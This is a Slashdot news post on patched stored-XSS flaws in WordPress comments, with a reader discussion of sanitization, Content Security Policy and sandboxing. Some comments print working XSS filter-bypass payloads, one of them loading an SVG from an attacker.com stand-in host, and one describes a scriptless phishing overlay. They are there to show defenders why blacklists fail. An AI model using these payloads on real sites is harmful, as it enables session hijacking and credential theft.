Critical XSS Flaws Patched In WordPress and Popular Plug-In

itwbennett writes The WordPress development team on Thursday released critical security updates that address an XSS vulnerability in the comment boxes of WordPress posts and pages. An attacker could exploit this flaw to create comments with malicious JavaScript code embedded in them that would get executed by the browsers of users seeing those comments. 'In the most obvious scenario the attacker leaves a comment containing the JavaScript and some links in order to put the comment in the moderation queue,' said Jouko Pynnonen, the security researcher who found the flaw.

Comments

Regular expressions

[GeLeTo]

Sanitizing HTML input with regular expressions, what could possibly go wrong?

Re:Regular expressions

[davester666]

They should dump html, skip Javascript, and just jump to accepting comments written in Go.

Re:Regular expressions

[x0ra]

Do you have a better solution ?

Editing a mixup of text & html is rather inconvenient. I used to parse a web page using sed(1) after a pre-processing with tidy, but given the difficulty to constantly adapt to change of formatting and constantly changing tag, I had to resort to use XSLT. Though, it is not a perfect solution either when the input is not properly structured. Right now, I'm extracting part of the content with good old regex, and doing the finer work with XSLT.

Re:Regular expressions

[ls671]

Running wp without at least a WAF in front of it, what could possibly go wrong?

Re:Regular expressions

[Spy Handler]

Wouldn't simply stripping out "
Like, whatever the user posted doesn't have to look properly formatted or anything, he's trying to inject malicious javascript... the Wordpress site owner will be deleting the comment as soon as it's discovered, right?

Re: Regular expressions

[GeLeTo]

Use a proper HTML sanitizer. Yes, this is much bulkier than just throwing a regexp, but this is for a reason. Just look at the security advisories for google caja for instance: https://code.google.com/p/goog...
There's no way a simple regex can take care of all these cases, if WP just updated the regex - it is bound to be full of holes.

Re: Regular expressions

[GeLeTo]

No, you have complex escape sequences, encoding tricks, browsers interpreting invalid HTML differently... This is much more complex than it looks.

Re: Regular expressions

[x0ra]

By your standards I wouldn't trust Google Caja... there has been a lot of security vulnerabilities in the past years as well...

Re: Regular expressions

[TheLink]

Many of these exploits and xss-worms would not have been effective if people had implemented the suggestion I made more than a decade ago:
http://osdir.com/ml/mozilla.se...
http://osdir.com/ml/security.w...
http://lists.w3.org/Archives/P...

Plenty of people suggest libraries to sanitize stuff, but when people keep creating new "GO" buttons and never a single "STOP" button - how can you be sure you've disabled every possible "GO" button? With my proposal, a "STOP button" could even disable future yet to be invented "GO" buttons.

Anyway since the Mozilla bunch supposedly have a better idea, how about getting on with it: https://developer.mozilla.org/...

Re:Regular expressions

[x0ra]

If the purpose of the XSS is to create a second admin account, all it takes is for the owner to consult the comment ...

Re: Regular expressions

[cbhacking]

Content Security Policy (as you link) is indeed a "better" solution, in the technical sense; it's fine-grained, supports reporting, doesn't require servers to generate the random "hard_to_guess_string" needed to unlock the block, and (possibly most important) doesn't introduce a new un-XML-like construct into HTML. On the other hand, it tends to be more complicated to use it in real-world web applications, and it's so broad that a lot of browsers have either no support for it or have serious bugs in their support (did you know SVG can contain scripts, and sometimes CSP rules aren't applied properly there?).

Sandboxed iframes are simpler and basically do what you're asking for, except that the content is loaded from an external source or by writing it into the framed document (if same-origin); no need to worry about an attacker terminating the sandbox with a </iframe> tag because the sandboxed content isn't inline with the iframe itself. On the other hand, given how few people actually use them (despite pretty good browser support), the problem may be more a matter of web devs being bad at security than of web devs not having good security tools. Of course, we knew that already...

With all that said, I feel compelled to point out that *just* blocking XSS isn't enough anyhow. Without using a single scripted behavior (just HTML and some simple CSS) I can do things like create a lightbox that contains an HTML form saying "Your login session has expired. To ensure the security of your account, please log in again." with a username/password box, all themed accordingly with the site I'm attacking. Of course, the form POSTs to a web server that I (the attacker) control, but you don't know that. There's many other types of things you can do with the same restrictions. It's not enough to block scripts and plugins, you also have to prevent the attacker from simply taking over the page with their own content by layering it on top of the Z-order.

Re:Regular expressions

[cbhacking]

<img src="xss" onerror="alert('Nope!')" />
<iframe src="javascript:alert('That won't work.')"></iframe>
<object data="http://attacker.com/SvgCanContainScriptsAndCanUseTheParentObjectToAttackTheHostingPage.svg"></object>
<scri<scriptpt>alert("In fact, that kind of blacklisting is trivial to bypass.");</script>
<form action="javascript:alert('I once spent a month breaking a client's blacklist every time they updated it to block my last POC exploit, telling them all the while they had to use output encoding.');"><input type="submit" value="SPOILER" /></form>
<h1 onmouseover="alert('They eventually did, but oh man did they waste a lot of time trying variants on your suggestion first!')">REALLY BIG TEXT THAT YOUR MOUSE WILL GO OVER</h1>

People thinking like you do frequently leads to exactly this sort of problem, where something *supposedly* has XSS protection but in fact totally doesn't. With the possible exception of the nested script tags (if you're smart enough to run the filter repeatedly until no further hits occur, that'll be caught), every single one of these lines will execute arbitrary attacker-controlled JavaScript through the filter that you propose. I strongly recommend that you go read OWASP, especially the top 10, and in the meantime I hope you haven't written any in-production web applications...

Re:Regular expressions

[Bigbutt]

Yep. I have to approve all comments.

[John]

Re:Regular expressions

[ArsonSmith]

https://www.youtube.com/watch?...

That's why pages should be usable without js

[Anonymous Coward]

This is an appeal to all Web site designers.

Instead of scrambling to plug each hole, allow your users to protect themselves by browsing scriptless (and for another reason: cookieless).

I mean: do degrade the bling-bling, but degrade *gracefully*.

I browse scriptless (and for the most part cookieless) and from time to time stumble upon pages which turn up blank when Javascript is disabled. Those come into my blacklist (perhaps, one day I'll publish that blacklist).

Re:That's why pages should be usable without js

[Anonymous Coward]

I make all my websites work without javascript first, and then add the bling bling where needed.

In my experience, degrading gracefully is much harder to do than adding javascript functionality later. Given that you do design the javascript systems before hand and not just do an afterthought (that leads to a mess and hacking the existing code).

Re:There's a solution

[Dracos]

The real question is, Why is anybody still runing WordPress?

Attackers take control of websites?

[lippydude]

"New security updates released for the WordPress .. fix cross-site scripting (XSS) vulnerabilities that could allow attackers to take control of websites ."

Embedded javascript in a comment box could trigger exploits on Microsoft Internet Explorer running on Microsoft Windows desktops.

Re:Attackers take control of websites?

[benjymouse]

"New security updates released for the WordPress .. fix cross-site scripting (XSS) vulnerabilities that could allow attackers to take control of websites ."

Embedded javascript in a comment box could trigger exploits on Microsoft Internet Explorer running on Microsoft Windows desktops.

Source? Or just trolling?

Content Security Policy

[Njovich]

One highly underused technology is the Content Security Policy. It is supported in all major browsers, including IE10+.

With simple headers you can prevent anyone from using inline javascript or including scripts from non-whitelisted domains. For instance, the following headers would make inline scripts not execute, and only execute javascript from the whitelisted domains:

Content-Security-Policy: script-src 'self' www.google-analytics.com ajax.googleapis.com;
X-Content-Security-Policy: script-src 'self' www.google-analytics.com ajax.googleapis.com;

If projects like Wordpress would pick this up, it would make it very difficult to do XSS attacks.

Re:There's a solution

[drinkypoo]

The real question is, Why is anybody still runing WordPress?

Because Drupal has security flaws, too.

Not everyone wants to write their own CMS and deal with the security issues. Wordpress probably is the absolutely worst choice, though.

Re:There's a solution

[Zedrick]

Because it's very easy to use for people with their own domain but little tech knowledge, it has a massive amount of themes and plugins to choose from (which I admit can be a problem) and it has much less security issues than any comparable CMS.

I've worked with hosting abuse for a long time, and it's fairly rare to see a hacked WP nowadays - unless the owner of the site has turned off auto-updating. Hacked Joomla-, modX- or Drupal-sites are much more common.

onload, scrscriptipt

[raymorris]

onLoad=(yourscrewed)

No script tag there.

How about if I enter scrscriptipt? When you remove "script" from the middle, you end up with - script.

Removing stuff will pretty much never work. You have to htmlencode the output.

Re:There's a solution

[XXeR]

The real question is, Why is anybody still runing WordPress?

Yeah, nearly a quarter of the Internet runs it...what imbeciles!

http://w3techs.com/technologie...

Re:There's a solution

[Bigbutt]

Why not? I'm using it for a couple of my sites. Comments must be approved by me and I've locked down access to the admin directory to only accept logins from my home machine.

Instead of saying "Why?", provide suggestions as to a good replacement.

"WordPress has so many security holes mostly due to unsecure themes and plugins. Why not use Drupal or at least make sure you follow these steps to secure your site."

It's just annoying to hear "what a piece of shit, what idiot uses [whatever you don't particularly like]?" Folks like me will simply disregard your comment as unhelpful and continue using whatever software (or Wine or Whiskey or Car or Programming Language or Beer or Blog Software or Linux distro (or BSD distro)) you don't particularly like.

[John]

wait a minute...

[slashmydots]

Do you mean to tell me that running overcomplicated garbage code on 10 million websites that uses 15 divs and 3 databases to draw the word "the" on the page might be vulnerable to cross site scripting? I never would have guessed! (I'm a by-hand HTML designer by the way).